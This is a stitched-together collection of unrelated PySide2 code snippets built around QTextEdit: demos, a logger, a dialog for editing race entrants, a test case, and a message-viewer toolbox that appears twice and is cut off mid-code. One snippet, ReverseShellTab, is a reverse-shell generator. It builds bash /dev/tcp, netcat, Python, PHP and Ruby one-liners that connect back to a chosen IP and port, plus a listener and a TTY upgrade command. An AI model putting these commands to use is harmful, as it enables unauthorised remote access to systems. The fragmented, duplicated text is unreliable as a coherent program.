"C:\\Users\\jcigi\\Pictures\\gdc") if len(directory): self.current_dir = directory.replace("/", "\\") self.open_button.setText(self.current_dir) self.collect_files() self.refresh_file_list_view()
# --------------------------- # Splitterの左右の比率を変える # --------------------------- import sys from PySide2.QtWidgets import QApplication, QSplitter, QTextEdit app = QApplication(sys.argv) qw_text_edit_left = QTextEdit() qw_text_edit_left.append('left') qw_text_edit_right = QTextEdit() qw_text_edit_right.append('right') qw_splitter = QSplitter() # Orientationの初期値は水平 qw_splitter.addWidget(qw_text_edit_left) qw_splitter.addWidget(qw_text_edit_right) qw_splitter_size = qw_splitter.size() # Splitterのサイズを取得する qw_splitter_size_width = qw_splitter_size.width() # Splitterの横サイズを取得する qw_splitter.setSizes( [qw_splitter_size_width * 0.1, qw_splitter_size_width * 0.9]) # Splitterの横の比率を1:9に変更する print(qw_splitter.size()) # Splitter全体のサイズ print(qw_splitter.sizes()) # Splitterの子widgetごとのサイズ qw_splitter.show() sys.exit(app.exec_())
def __init__(self): super().__init__() self.text = QTextEdit(self) self.clr_btn = QPushButton('Clear') self.init_ui()
class LoggerWidget(QWidget): def __init__(self, parent=None): super(LoggerWidget, self).__init__(parent) self.logOutput = QTextEdit() self.logOutput.setReadOnly(True) self.logOutput.setLineWrapMode(QTextEdit.NoWrap) self.logOutput.moveCursor(QTextCursor.End) #self.font = self.logOutput.font() #self.font.setFamily("Courier") #self.font.setPointSize(10) #self.logOutput.setCurrentFont(font) #self.logOutput.setTextColor(color) #self.logOutput.resize(800,200) #self.setMinimumWidth(1000) self.tab_widget = QTabWidget(self) self.tab_widget.addTab(self.logOutput, "EventsLogger") policy = self.logOutput.sizePolicy() policy.setVerticalStretch(1) policy.setHorizontalStretch(1) self.logOutput.setSizePolicy(policy) self.tab_widget.setSizePolicy(policy) self.Layout = QFormLayout() self.Layout.addWidget(self.tab_widget) self.setLayout(self.Layout) self.updateSig = UpdateSig() self.restartSig = UpdateSig() def readSampleAndUpdateLogger(self, line, param_t1, is_start, is_stop): if "BML_EVENT" in line: self.logOutput.insertPlainText(line) self.logOutput.moveCursor(QTextCursor.End)
# --------------------------- # TextEditの文字の大きさを変える # --------------------------- import sys from PySide2.QtWidgets import QApplication, QTextEdit app = QApplication(sys.argv) qw_text_edit = QTextEdit() qw_text_edit.setFontPointSize(30) # 文字の大きさを変える qw_text_edit.append('This is a text edit widget.') qw_text_edit.show() sys.exit(app.exec_())
def __init__(self, mode, parentQWidget = None): QVBoxLayout.__init__(self) self.sig.connect(self.addThreadList) self.mode = mode self.sizePolicy = QSizePolicy(QSizePolicy.Fixed, QSizePolicy.Expanding) self.groupBoxSearch = QGroupBox() self.groupBoxSearch.setStyleSheet("QGroupBox {border: 1px solid gray; border-radius: 4px; };") vboxSearch = QVBoxLayout() self.searchTitle = QLabel("Search Messages") vboxSearch.addWidget(self.searchTitle) self.searchHLayout = QHBoxLayout() self.editTextSearch = QTextEdit('') self.editTextSearch.setFixedSize(200,30) self.buttonSearch = QPushButton('Search') self.buttonSearch.setFixedSize(100,30) self.buttonSearch.clicked.connect(self.searchMsg) vboxSearch.addWidget(self.editTextSearch) self.searchHLayout.addWidget(self.buttonSearch) self.searchCursor = QLabel() self.searchHLayout.addWidget(self.searchCursor) vboxSearch.addLayout(self.searchHLayout) self.browseHLayout = QHBoxLayout() self.buttonLookUp = QPushButton('\u21e7') #Arrow up self.buttonLookUp.setFixedWidth(100) self.buttonLookUp.clicked.connect(self.moveToPrev) self.buttonLookDown = QPushButton('\u21e9') #Arrow down self.buttonLookDown.setFixedWidth(100) self.buttonLookDown.clicked.connect(self.moveToNext) self.browseHLayout.addWidget(self.buttonLookUp) self.browseHLayout.addWidget(self.buttonLookDown) vboxSearch.addLayout(self.browseHLayout) self.groupBoxSearch.setLayout(vboxSearch) self.addWidget(self.groupBoxSearch) self.groupBoxSearch.setSizePolicy(QSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)) self.buttonHiddenLifelines = QPushButton('Show hidden life-lines') self.buttonHiddenLifelines.setFixedWidth(200) self.buttonHiddenLifelines.clicked.connect(self.showHiddenLifelines) self.addWidget(self.buttonHiddenLifelines) self.buttonHiddenMessages = QPushButton('Show hidden Messages') self.buttonHiddenMessages.setFixedWidth(200) self.buttonHiddenMessages.clicked.connect(self.showHiddenMessages) self.addWidget(self.buttonHiddenMessages) if const.mode_interactive == mode: self.buttonCapture = QPushButton('Capture') self.buttonCapture.setFixedWidth(200) self.buttonCapture.clicked.connect(self.notifyCapture) self.addWidget(self.buttonCapture) self.msgRcv = [] self.msgInfo = QLabel("Message Info.") self.groupBoxMessageInfo = QGroupBox() self.groupBoxMessageInfo.setStyleSheet("QGroupBox {border: 1px solid gray; border-radius: 9px; margin-top: 0.5em} QGroupBox::title {subcontrol-origin: margin; left: 10px; padding: 0 3px 0 3px;") vbox = QVBoxLayout() vbox.addWidget(self.msgInfo) self.tableTime = QTableWidget(3,2) self.tableTime.setHorizontalHeaderLabels(['-','time']) self.tableTime.setColumnWidth(0,80) self.tableTime.setColumnWidth(1,150) vwidth = self.tableTime.verticalHeader().length() hwidth = self.tableTime.horizontalHeader().height() fwidth = self.tableTime.frameWidth() * 2 self.tableTime.setFixedHeight(vwidth + hwidth + fwidth) self.tableTime.horizontalHeader().setStretchLastSection(True) self.tableTime.setItem(0,0,QTableWidgetItem('begin')) self.tableTime.setItem(0,1,QTableWidgetItem(' - ')) self.tableTime.setItem(1,0,QTableWidgetItem('end')) self.tableTime.setItem(1,1,QTableWidgetItem(' - ')) self.tableTime.setItem(2,0,QTableWidgetItem('duration')) self.tableTime.setItem(2,1,QTableWidgetItem(' - ')) vbox.addWidget(self.tableTime) self.titleArg = QLabel('Argument List') vbox.addWidget(self.titleArg) max_arg_num = 10 self.tableArgs = QTableWidget(max_arg_num,2) self.tableArgs.setHorizontalHeaderLabels(['type','value']) for idx in range(0,max_arg_num): self.tableArgs.setItem(idx,0,QTableWidgetItem()) self.tableArgs.setItem(idx,1,QTableWidgetItem()) self.tableArgs.horizontalHeader().setStretchLastSection(True) vbox.addWidget(self.tableArgs) self.titleArg = QLabel('Return Value List') vbox.addWidget(self.titleArg) max_ret_num = 4 self.tableRet = QTableWidget(max_ret_num,2) self.tableRet.setHorizontalHeaderLabels(['type','value']) for idx in range(0,max_ret_num): self.tableRet.setItem(idx,0,QTableWidgetItem()) self.tableRet.setItem(idx,1,QTableWidgetItem()) self.tableRet.horizontalHeader().setStretchLastSection(True) vwidth = self.tableRet.verticalHeader().length() hwidth = self.tableRet.horizontalHeader().height() fwidth = self.tableRet.frameWidth() * 2 self.tableRet.setFixedHeight(vwidth + hwidth + fwidth) vbox.addWidget(self.tableRet) self.buttonSrcView = QPushButton('view code') self.buttonSrcView.setFixedWidth(200) self.buttonSrcView.clicked.connect(self.openSourceViewer) self.buttonHide = QPushButton('Hide') self.buttonHide.setFixedWidth(200) self.buttonHide.clicked.connect(self.notifyHide) self.buttonHideAllMsg = QPushButton('Hide All') self.buttonHideAllMsg.setFixedWidth(200) self.buttonHideAllMsg.clicked.connect(self.hideAllMsgNamedAsSelected) self.groupBoxMessageInfo.setLayout(vbox) self.checkHideCircular = QCheckBox('Hide Circular Messages') self.checkHideCircular.setCheckState(QtCore.Qt.Unchecked) self.checkHideCircular.stateChanged.connect(self.changeHideCircularMessage) self.addWidget(self.checkHideCircular) self.addWidget(self.groupBoxMessageInfo) self.groupBoxMessageInfo.setSizePolicy(self.sizePolicy)
class ReverseShellTab(QWidget): def __init__(self): QWidget.__init__(self) self.items = 0 # Left Layout self.left = QVBoxLayout() # Left self.copy_bash_btn = QPushButton("Copy Bash !") self.copy_netcat_btn = QPushButton("Copy Netcat !") self.copy_python_btn = QPushButton("Copy Python2 !") self.copy_php_btn = QPushButton("Copy PHP !") self.copy_ruby_btn = QPushButton("Copy Ruby !") self.edit_text_bash = QTextEdit() self.edit_text_netcat = QTextEdit() self.edit_text_python = QTextEdit() self.edit_text_php = QTextEdit() self.edit_text_ruby = QTextEdit() # Adding Left Widgets self.left.addWidget(self.edit_text_bash) self.left.addWidget(self.copy_bash_btn) self.left.addWidget(self.edit_text_netcat) self.left.addWidget(self.copy_netcat_btn) self.left.addWidget(self.edit_text_python) self.left.addWidget(self.copy_python_btn) self.left.addWidget(self.edit_text_php) self.left.addWidget(self.copy_php_btn) self.left.addWidget(self.edit_text_ruby) self.left.addWidget(self.copy_ruby_btn) # Right layout self.right = QVBoxLayout() self.right.setMargin(10) # Right self.ip_input = QLineEdit() self.port_input = QLineEdit() self.generate_btn = QPushButton("Generate") self.edit_text_listener = QTextEdit() self.copy_listener_btn = QPushButton("Copy Listener !") self.text_tty = QTextEdit() self.copy_tty_btn = QPushButton("Copy TTY !") self.clear_btn = QPushButton("Clear") self.quit_btn = QPushButton("Quit") self.generate_btn.setEnabled(False) self.set_local_ip() # IP label = QLabel("IP addr:") label.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.Fixed) self.right.addWidget(label) self.right.addWidget(self.ip_input) # Port label = QLabel("Port:") label.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.Fixed) self.right.addWidget(label) self.right.addWidget(self.port_input) # Generate self.right.addWidget(self.generate_btn) # Listener self.right.addWidget(self.edit_text_listener) self.right.addWidget(self.copy_listener_btn) # TTY self.right.addWidget(self.text_tty) self.right.addWidget(self.copy_tty_btn) self.text_tty.setText( "python -c 'import pty; pty.spawn(\"/bin/bash\")'") # Fill Space self.right.addWidget(QFrame()) # Clearn and Quit self.right.addWidget(self.clear_btn) self.right.addWidget(self.quit_btn) # Tabs Layout self.layout = QHBoxLayout() self.layout.addLayout(self.left) self.layout.addLayout(self.right) self.setLayout(self.layout) # Signals and Slots self.ip_input.textChanged.connect(self.check_generate) self.port_input.textChanged.connect(self.check_generate) self.generate_btn.clicked.connect(self.generate_reverse_shell) self.clear_btn.clicked.connect(self.clear_text) self.quit_btn.clicked.connect(self.quit_application) # Signal Copy self.copy_bash_btn.clicked.connect( partial(self.copy_text, self.edit_text_bash)) self.copy_netcat_btn.clicked.connect( partial(self.copy_text, self.edit_text_netcat)) self.copy_python_btn.clicked.connect( partial(self.copy_text, self.edit_text_python)) self.copy_php_btn.clicked.connect( partial(self.copy_text, self.edit_text_php)) self.copy_ruby_btn.clicked.connect( partial(self.copy_text, self.edit_text_ruby)) self.copy_listener_btn.clicked.connect( partial(self.copy_text, self.edit_text_listener)) self.copy_tty_btn.clicked.connect( partial(self.copy_text, self.text_tty)) @Slot() def copy_text(self, obj): objs = [ self.edit_text_bash, self.edit_text_netcat, self.edit_text_python, self.edit_text_php, self.edit_text_ruby, self.edit_text_listener, self.text_tty ] if obj in objs: obj.selectAll() obj.copy() @Slot() def set_local_ip(self): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)) self.ip_input.setText(s.getsockname()[0]) s.close() except OSError: pass @Slot() def generate_reverse_shell(self): self.clear_text() ip = self.ip_input.text() port = self.port_input.text() bash = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1" netcat = f"nc -e /bin/sh {ip} {port}" python = f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\", {port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" php = f"php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'" ruby = f"ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" listener = f"nc -lvnp {port}" self.edit_text_bash.append(bash) self.edit_text_netcat.append(netcat) self.edit_text_python.append(python) self.edit_text_php.append(php) self.edit_text_ruby.append(ruby) self.edit_text_listener.append(listener) @Slot() def check_generate(self): if self.ip_input.text().strip() and self.port_input.text().isdigit( ) and int(self.port_input.text()) <= 65535: self.generate_btn.setEnabled(True) else: self.generate_btn.setEnabled(False) @Slot() def clear_text(self): self.edit_text_bash.clear() self.edit_text_netcat.clear() self.edit_text_python.clear() self.edit_text_php.clear() self.edit_text_ruby.clear() self.edit_text_listener.clear() @Slot() def quit_application(self): QApplication.quit()
def _dependenciesTab(self) -> QWidget: tab = QWidget(self) tab.setObjectName("about-tab") layout = QVBoxLayout(tab) layout.setAlignment(Qt.AlignTop) # add link and version dependencies = { "PySide2": { "version": "5.15.2", "author": "Qt for Python Team", "link": "https://www.pyside.org", "license": "LGPL v3", "license-file": "pyside2.txt" }, "PyTorch": { "version": "1.8.1+cu102", "author": "PyTorch Team", "link": "https://pytorch.org/", "license": "BSD-3", "license-file": "pytorch.txt" }, "OpenCV Python": { "version": "4.5.1.48", "author": "Olli-Pekka Heinisuo", "link": "https://github.com/skvark/opencv-python", "license": "MIT", "license-file": "opencv-python.txt" }, "NumPy": { "version": "1.20.2", "author": "Travis E. Oliphant et al.", "link": "https://www.numpy.org", "license": "BSD-3", "license-file": "numpy.txt" }, "YoloV4": { "version": "N/A", "author": "Alexey Bochkovskiy, Chien-Yao Wang, Hong-Yuan Mark Liao", "link": "https://github.com/AlexeyAB/darknet", "license": "Unlicense", "license-file": "yolov4.txt" }, "Pytorch-YOLOv4": { "version": "N/A", "author": "Tianxiaomo, ersheng-ai", "link": "https://github.com/Tianxiaomo/pytorch-YOLOv4", "license": "Apache-2.0", "license-file": "pytorch-yolov4.txt" }, "dict2xml": { "version": "1.7.0", "author": "Stephen Moore", "link": "http://github.com/delfick/python-dict2xml", "license": "MIT", "license-file": "dict2xml.txt" } } dependencies_title = QLabel("Dépendances :") dependencies_title.setObjectName("tab-title") self._dependencies_list = QComboBox(self) for name, data in dependencies.items(): self._dependencies_list.addItem(name, data) self._dependencies_list.currentIndexChanged.connect( self._dependenciesComboBoxChanged) dependencies_list_layout = QVBoxLayout() dependencies_list_layout.addWidget(self._dependencies_list) dependencies_list_layout.setContentsMargins(5, 0, 5, 5) version_layout = QHBoxLayout() version_layout.setAlignment(Qt.AlignLeft) version_title = QLabel("Version :") version_title.setObjectName("dependency-info") self._version = QLabel() version_layout.addWidget(version_title) version_layout.addWidget(self._version, 1) license_layout = QHBoxLayout() license_layout.setAlignment(Qt.AlignLeft) license_title = QLabel("License :") license_title.setObjectName("dependency-info") self._license = QLabel() license_layout.addWidget(license_title) license_layout.addWidget(self._license, 1) author_layout = QHBoxLayout() author_title = QLabel("Auteur(s) :") author_title.setObjectName("dependency-info") self._author = QLabel() author_layout.addWidget(author_title) author_layout.addWidget(self._author, 1) link_layout = QHBoxLayout() link_layout.setAlignment(Qt.AlignLeft) link_title = QLabel("Lien :") link_title.setObjectName("dependency-info") self._link = QLabel() self._link.setOpenExternalLinks(True) link_layout.addWidget(link_title) link_layout.addWidget(self._link, 1) dependency_info = QGridLayout() dependency_info.setVerticalSpacing(0) dependency_info.addLayout(version_layout, 0, 0) dependency_info.addLayout(license_layout, 0, 1) dependency_info.addLayout(author_layout, 1, 0, 1, 2) dependency_info.addLayout(link_layout, 2, 0, 1, 2) licenses_title = QLabel("Licence :") licenses_title.setObjectName("tab-title") self._license_area = QTextEdit(self) self._license_area.setReadOnly(True) self._license_area.setObjectName("license-file") license_area_layout = QVBoxLayout() license_area_layout.addWidget(self._license_area) license_area_layout.setContentsMargins(5, 0, 5, 5) layout.addWidget(dependencies_title) layout.addLayout(dependencies_list_layout) layout.addLayout(dependency_info) layout.addWidget(licenses_title) layout.addLayout(license_area_layout) self._dependenciesComboBoxChanged(0) return tab
def testCase(self): editor = QTextEdit() cursor = QTextCursor(editor.textCursor()) cursor.movePosition(QTextCursor.Start) mainFrame = cursor.currentFrame() plainCharFormat = QTextCharFormat() boldCharFormat = QTextCharFormat() boldCharFormat.setFontWeight(QFont.Bold) cursor.insertText( """ Text documents are represented by the QTextDocument class, rather than by QString objects. Each QTextDocument object contains information about the document's internal representation, its structure, and keeps track of modifications to provide undo/redo facilities. This approach allows features such as the layout management to be delegated to specialized classes, but also provides a focus for the framework.""", plainCharFormat) frameFormat = QTextFrameFormat() frameFormat.setMargin(32) frameFormat.setPadding(8) frameFormat.setBorder(4) cursor.insertFrame(frameFormat) cursor.insertText( """ Documents are either converted from external sources or created from scratch using Qt. The creation process can done by an editor widget, such as QTextEdit, or by explicit calls to the Scribe API.""", boldCharFormat) cursor = mainFrame.lastCursorPosition() cursor.insertText( """ There are two complementary ways to visualize the contents of a document: as a linear buffer that is used by editors to modify the contents, and as an object hierarchy containing structural information that is useful to layout engines. In the hierarchical model, the objects generally correspond to visual elements such as frames, tables, and lists. At a lower level, these elements describe properties such as the style of text used and its alignment. The linear representation of the document is used for editing and manipulation of the document's contents.""", plainCharFormat) frame = cursor.currentFrame() items = [] #test iterator for i in frame: items.append(i) #test __iadd__ b = frame.begin() i = 0 while not b.atEnd(): self.assertEqual(b, items[i]) self.assertTrue(b.parentFrame(), items[i].parentFrame()) b.__iadd__(1) i += 1 #test __isub__ b = frame.end() i = 0 while i > 0: self.assertEqual(b, items[i]) self.assertTrue(b.parentFrame(), items[i].parentFrame()) b.__isub__(1) i -= 1
class PersonEditDialog(QDialog): GROUP_NAME = '' ORGANIZATION_NAME = '' def __init__(self, person, is_new=False): super().__init__(GlobalAccess().get_main_window()) self.is_ok = {} assert (isinstance(person, Person)) self.current_object = person self.is_new = is_new self.time_format = 'hh:mm:ss' time_accuracy = race().get_setting('time_accuracy', 0) if time_accuracy: self.time_format = 'hh:mm:ss.zzz' def exec_(self): self.init_ui() self.set_values_from_model() return super().exec_() def init_ui(self): self.setWindowTitle(_('Entry properties')) self.setWindowIcon(QIcon(config.ICON)) self.setSizeGripEnabled(False) self.setModal(True) self.layout = QFormLayout(self) self.label_surname = QLabel(_('Last name')) self.item_surname = QLineEdit() self.layout.addRow(self.label_surname, self.item_surname) self.label_name = QLabel(_('First name')) self.item_name = AdvComboBox() self.item_name.addItems(get_names()) self.layout.addRow(self.label_name, self.item_name) self.label_group = QLabel(_('Group')) self.item_group = AdvComboBox() self.item_group.addItems(get_race_groups()) self.layout.addRow(self.label_group, self.item_group) self.label_team = QLabel(_('Team')) self.item_team = AdvComboBox() self.item_team.addItems(get_race_teams()) self.layout.addRow(self.label_team, self.item_team) use_birthday = Config().configuration.get('use_birthday', False) if use_birthday: self.label_birthday = QLabel(_('Birthday')) self.item_birthday = QDateEdit() self.item_birthday.setDate(date.today()) self.item_birthday.setMaximumDate(date.today()) self.layout.addRow(self.label_birthday, self.item_birthday) else: self.label_year = QLabel(_('Year of birth')) self.item_year = QSpinBox() self.item_year.setMinimum(0) self.item_year.setMaximum(date.today().year) self.item_year.editingFinished.connect(self.year_change) self.layout.addRow(self.label_year, self.item_year) self.label_qual = QLabel(_('Qualification')) self.item_qual = AdvComboBox() for i in list(Qualification): self.item_qual.addItem(i.get_title()) self.layout.addRow(self.label_qual, self.item_qual) self.is_ok['bib'] = True self.label_bib = QLabel(_('Bib')) self.item_bib = QSpinBox() self.item_bib.setMinimum(0) self.item_bib.setMaximum(Limit.BIB) self.item_bib.valueChanged.connect(self.check_bib) self.layout.addRow(self.label_bib, self.item_bib) self.label_bib_info = QLabel('') self.layout.addRow(QLabel(''), self.label_bib_info) self.label_start = QLabel(_('Start time')) self.item_start = QTimeEdit() self.item_start.setDisplayFormat(self.time_format) self.layout.addRow(self.label_start, self.item_start) self.label_start_group = QLabel(_('Start group')) self.item_start_group = QSpinBox() self.item_start_group.setMinimum(0) self.item_start_group.setMaximum(99) self.layout.addRow(self.label_start_group, self.item_start_group) self.is_ok['card'] = True self.label_card = QLabel(_('Punch card #')) self.item_card = QSpinBox() self.item_card.setMinimum(0) self.item_card.setMaximum(9999999) self.item_card.valueChanged.connect(self.check_card) self.layout.addRow(self.label_card, self.item_card) self.label_card_info = QLabel('') self.layout.addRow(QLabel(''), self.label_card_info) self.item_rented = QCheckBox(_('rented card')) self.item_paid = QCheckBox(_('is paid')) self.item_out_of_competition = QCheckBox(_('out of competition')) self.item_personal = QCheckBox(_('personal participation')) self.layout.addRow(self.item_rented, self.item_out_of_competition) self.layout.addRow(self.item_paid, self.item_personal) self.label_comment = QLabel(_('Comment')) self.item_comment = QTextEdit() self.item_comment.setTabChangesFocus(True) self.layout.addRow(self.label_comment, self.item_comment) def cancel_changes(): self.close() def apply_changes(): try: self.apply_changes_impl() except Exception as e: logging.error(str(e)) self.close() button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel) self.button_ok = button_box.button(QDialogButtonBox.Ok) self.button_ok.setText(_('OK')) self.button_ok.clicked.connect(apply_changes) self.button_cancel = button_box.button(QDialogButtonBox.Cancel) self.button_cancel.setText(_('Cancel')) self.button_cancel.clicked.connect(cancel_changes) self.layout.addRow(button_box) self.show() def year_change(self): """ Convert 2 digits of year to 4 2 -> 2002 11 - > 2011 33 -> 1933 56 -> 1956 98 - > 1998 0 -> 0 exception! """ widget = self.sender() assert isinstance(widget, QSpinBox) year = widget.value() if 0 < year < 100: cur_year = date.today().year new_year = cur_year - cur_year % 100 + year if new_year > cur_year: new_year -= 100 widget.setValue(new_year) def items_ok(self): ret = True for item_name in self.is_ok.keys(): if self.is_ok[item_name] is not True: ret = False break return ret def check_bib(self): bib = self.item_bib.value() self.label_bib_info.setText('') if bib: person = find(race().persons, bib=bib) if person: if person.bib == self.current_object.bib: self.button_ok.setEnabled(True) return self.button_ok.setDisabled(True) self.is_ok['bib'] = False info = '{}\n{}'.format(_('Number already exists'), person.full_name) if person.group: info = '{}\n{}: {}'.format(info, _('Group'), person.group.name) self.label_bib_info.setText(info) else: self.label_bib_info.setText(_('Number is unique')) self.is_ok['bib'] = True if self.items_ok(): self.button_ok.setEnabled(True) else: self.button_ok.setEnabled(True) def check_card(self): number = self.item_card.value() self.label_card_info.setText('') if number: person = None for _p in race().persons: if _p.card_number and _p.card_number == number: person = _p break if person: if person.card_number == self.current_object.card_number: self.button_ok.setEnabled(True) return self.button_ok.setDisabled(True) self.is_ok['card'] = False info = '{}\n{}'.format(_('Card number already exists'), person.full_name) if person.group: info = '{}\n{}: {}'.format(info, _('Group'), person.group.name) if person.bib: info = '{}\n{}: {}'.format(info, _('Bib'), person.bib) self.label_card_info.setText(info) else: self.label_card_info.setText(_('Card number is unique')) self.is_ok['card'] = True if self.items_ok(): self.button_ok.setEnabled(True) else: self.button_ok.setEnabled(True) def set_values_from_model(self): self.item_surname.setText(self.current_object.surname) self.item_surname.selectAll() self.item_name.setCurrentText(self.current_object.name) if self.current_object.group is not None: self.item_group.setCurrentText(self.current_object.group.name) else: self.item_group.setCurrentText(self.GROUP_NAME) if self.current_object.organization is not None: self.item_team.setCurrentText( self.current_object.organization.name) else: self.item_team.setCurrentText(self.ORGANIZATION_NAME) if self.current_object.qual: self.item_qual.setCurrentText(self.current_object.qual.get_title()) if self.current_object.bib: self.item_bib.setValue(int(self.current_object.bib)) if self.current_object.start_time is not None: time = time_to_qtime(self.current_object.start_time) self.item_start.setTime(time) if self.current_object.start_group is not None: self.item_start_group.setValue(int( self.current_object.start_group)) if self.current_object.card_number: self.item_card.setValue(self.current_object.card_number) self.item_out_of_competition.setChecked( self.current_object.is_out_of_competition) self.item_paid.setChecked(self.current_object.is_paid) self.item_paid.setChecked(self.current_object.is_paid) self.item_personal.setChecked(self.current_object.is_personal) self.item_rented.setChecked(self.current_object.is_rented_card) self.item_comment.setText(self.current_object.comment) use_birthday = Config().configuration.get('use_birthday', False) if use_birthday: if self.current_object.birth_date: self.item_birthday.setDate(self.current_object.birth_date) else: if self.current_object.get_year(): self.item_year.setValue(self.current_object.get_year()) def apply_changes_impl(self): person = self.current_object assert (isinstance(person, Person)) if self.is_new: race().persons.insert(0, person) if person.name != self.item_name.currentText(): person.name = self.item_name.currentText() if person.surname != self.item_surname.text(): person.surname = self.item_surname.text() if (person.group is not None and person.group.name != self.item_group.currentText()) or\ (person.group is None and len(self.item_group.currentText()) > 0): person.group = find(race().groups, name=self.item_group.currentText()) if (person.organization is not None and person.organization.name != self.item_team.currentText()) or \ (person.organization is None and len(self.item_team.currentText()) > 0): organization = find(race().organizations, name=self.item_team.currentText()) if organization is None: organization = Organization() organization.name = self.item_team.currentText() race().organizations.append(organization) Teamwork().send(organization.to_dict()) person.organization = organization if person.qual.get_title() != self.item_qual.currentText(): person.qual = Qualification.get_qual_by_name( self.item_qual.currentText()) if person.bib != self.item_bib.value(): person.bib = self.item_bib.value() new_time = time_to_otime(self.item_start.time()) if person.start_time != new_time: person.start_time = new_time if person.start_group != self.item_start_group.value( ) and self.item_start_group.value(): person.start_group = self.item_start_group.value() if (not person.card_number or int(person.card_number) != self.item_card.value()) \ and self.item_card.value: race().person_card_number(person, self.item_card.value()) if person.is_out_of_competition != self.item_out_of_competition.isChecked( ): person.is_out_of_competition = self.item_out_of_competition.isChecked( ) if person.is_paid != self.item_paid.isChecked(): person.is_paid = self.item_paid.isChecked() if person.is_rented_card != self.item_rented.isChecked(): person.is_rented_card = self.item_rented.isChecked() if person.is_personal != self.item_personal.isChecked(): person.is_personal = self.item_personal.isChecked() if person.comment != self.item_comment.toPlainText(): person.comment = self.item_comment.toPlainText() use_birthday = Config().configuration.get('use_birthday', False) if use_birthday: new_birthday = qdate_to_date(self.item_birthday.date()) if person.birth_date != new_birthday and new_birthday: if person.birth_date or new_birthday != date.today(): person.birth_date = new_birthday else: if person.get_year() != self.item_year.value(): person.set_year(self.item_year.value()) ResultCalculation(race()).process_results() Teamwork().send(person.to_dict())
class ToolBox(QVBoxLayout): sig = QtCore.Signal(object) listThread = None groupBoxThreadInfo = None threadvbox = None mode = None def __init__(self, mode, parentQWidget = None): QVBoxLayout.__init__(self) self.sig.connect(self.addThreadList) self.mode = mode self.sizePolicy = QSizePolicy(QSizePolicy.Fixed, QSizePolicy.Expanding) self.groupBoxSearch = QGroupBox() self.groupBoxSearch.setStyleSheet("QGroupBox {border: 1px solid gray; border-radius: 4px; };") vboxSearch = QVBoxLayout() self.searchTitle = QLabel("Search Messages") vboxSearch.addWidget(self.searchTitle) self.searchHLayout = QHBoxLayout() self.editTextSearch = QTextEdit('') self.editTextSearch.setFixedSize(200,30) self.buttonSearch = QPushButton('Search') self.buttonSearch.setFixedSize(100,30) self.buttonSearch.clicked.connect(self.searchMsg) vboxSearch.addWidget(self.editTextSearch) self.searchHLayout.addWidget(self.buttonSearch) self.searchCursor = QLabel() self.searchHLayout.addWidget(self.searchCursor) vboxSearch.addLayout(self.searchHLayout) self.browseHLayout = QHBoxLayout() self.buttonLookUp = QPushButton('\u21e7') #Arrow up self.buttonLookUp.setFixedWidth(100) self.buttonLookUp.clicked.connect(self.moveToPrev) self.buttonLookDown = QPushButton('\u21e9') #Arrow down self.buttonLookDown.setFixedWidth(100) self.buttonLookDown.clicked.connect(self.moveToNext) self.browseHLayout.addWidget(self.buttonLookUp) self.browseHLayout.addWidget(self.buttonLookDown) vboxSearch.addLayout(self.browseHLayout) self.groupBoxSearch.setLayout(vboxSearch) self.addWidget(self.groupBoxSearch) self.groupBoxSearch.setSizePolicy(QSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)) self.buttonHiddenLifelines = QPushButton('Show hidden life-lines') self.buttonHiddenLifelines.setFixedWidth(200) self.buttonHiddenLifelines.clicked.connect(self.showHiddenLifelines) self.addWidget(self.buttonHiddenLifelines) self.buttonHiddenMessages = QPushButton('Show hidden Messages') self.buttonHiddenMessages.setFixedWidth(200) self.buttonHiddenMessages.clicked.connect(self.showHiddenMessages) self.addWidget(self.buttonHiddenMessages) if const.mode_interactive == mode: self.buttonCapture = QPushButton('Capture') self.buttonCapture.setFixedWidth(200) self.buttonCapture.clicked.connect(self.notifyCapture) self.addWidget(self.buttonCapture) self.msgRcv = [] self.msgInfo = QLabel("Message Info.") self.groupBoxMessageInfo = QGroupBox() self.groupBoxMessageInfo.setStyleSheet("QGroupBox {border: 1px solid gray; border-radius: 9px; margin-top: 0.5em} QGroupBox::title {subcontrol-origin: margin; left: 10px; padding: 0 3px 0 3px;") vbox = QVBoxLayout() vbox.addWidget(self.msgInfo) self.tableTime = QTableWidget(3,2) self.tableTime.setHorizontalHeaderLabels(['-','time']) self.tableTime.setColumnWidth(0,80) self.tableTime.setColumnWidth(1,150) vwidth = self.tableTime.verticalHeader().length() hwidth = self.tableTime.horizontalHeader().height() fwidth = self.tableTime.frameWidth() * 2 self.tableTime.setFixedHeight(vwidth + hwidth + fwidth) self.tableTime.horizontalHeader().setStretchLastSection(True) self.tableTime.setItem(0,0,QTableWidgetItem('begin')) self.tableTime.setItem(0,1,QTableWidgetItem(' - ')) self.tableTime.setItem(1,0,QTableWidgetItem('end')) self.tableTime.setItem(1,1,QTableWidgetItem(' - ')) self.tableTime.setItem(2,0,QTableWidgetItem('duration')) self.tableTime.setItem(2,1,QTableWidgetItem(' - ')) vbox.addWidget(self.tableTime) self.titleArg = QLabel('Argument List') vbox.addWidget(self.titleArg) max_arg_num = 10 self.tableArgs = QTableWidget(max_arg_num,2) self.tableArgs.setHorizontalHeaderLabels(['type','value']) for idx in range(0,max_arg_num): self.tableArgs.setItem(idx,0,QTableWidgetItem()) self.tableArgs.setItem(idx,1,QTableWidgetItem()) self.tableArgs.horizontalHeader().setStretchLastSection(True) vbox.addWidget(self.tableArgs) self.titleArg = QLabel('Return Value List') vbox.addWidget(self.titleArg) max_ret_num = 4 self.tableRet = QTableWidget(max_ret_num,2) self.tableRet.setHorizontalHeaderLabels(['type','value']) for idx in range(0,max_ret_num): self.tableRet.setItem(idx,0,QTableWidgetItem()) self.tableRet.setItem(idx,1,QTableWidgetItem()) 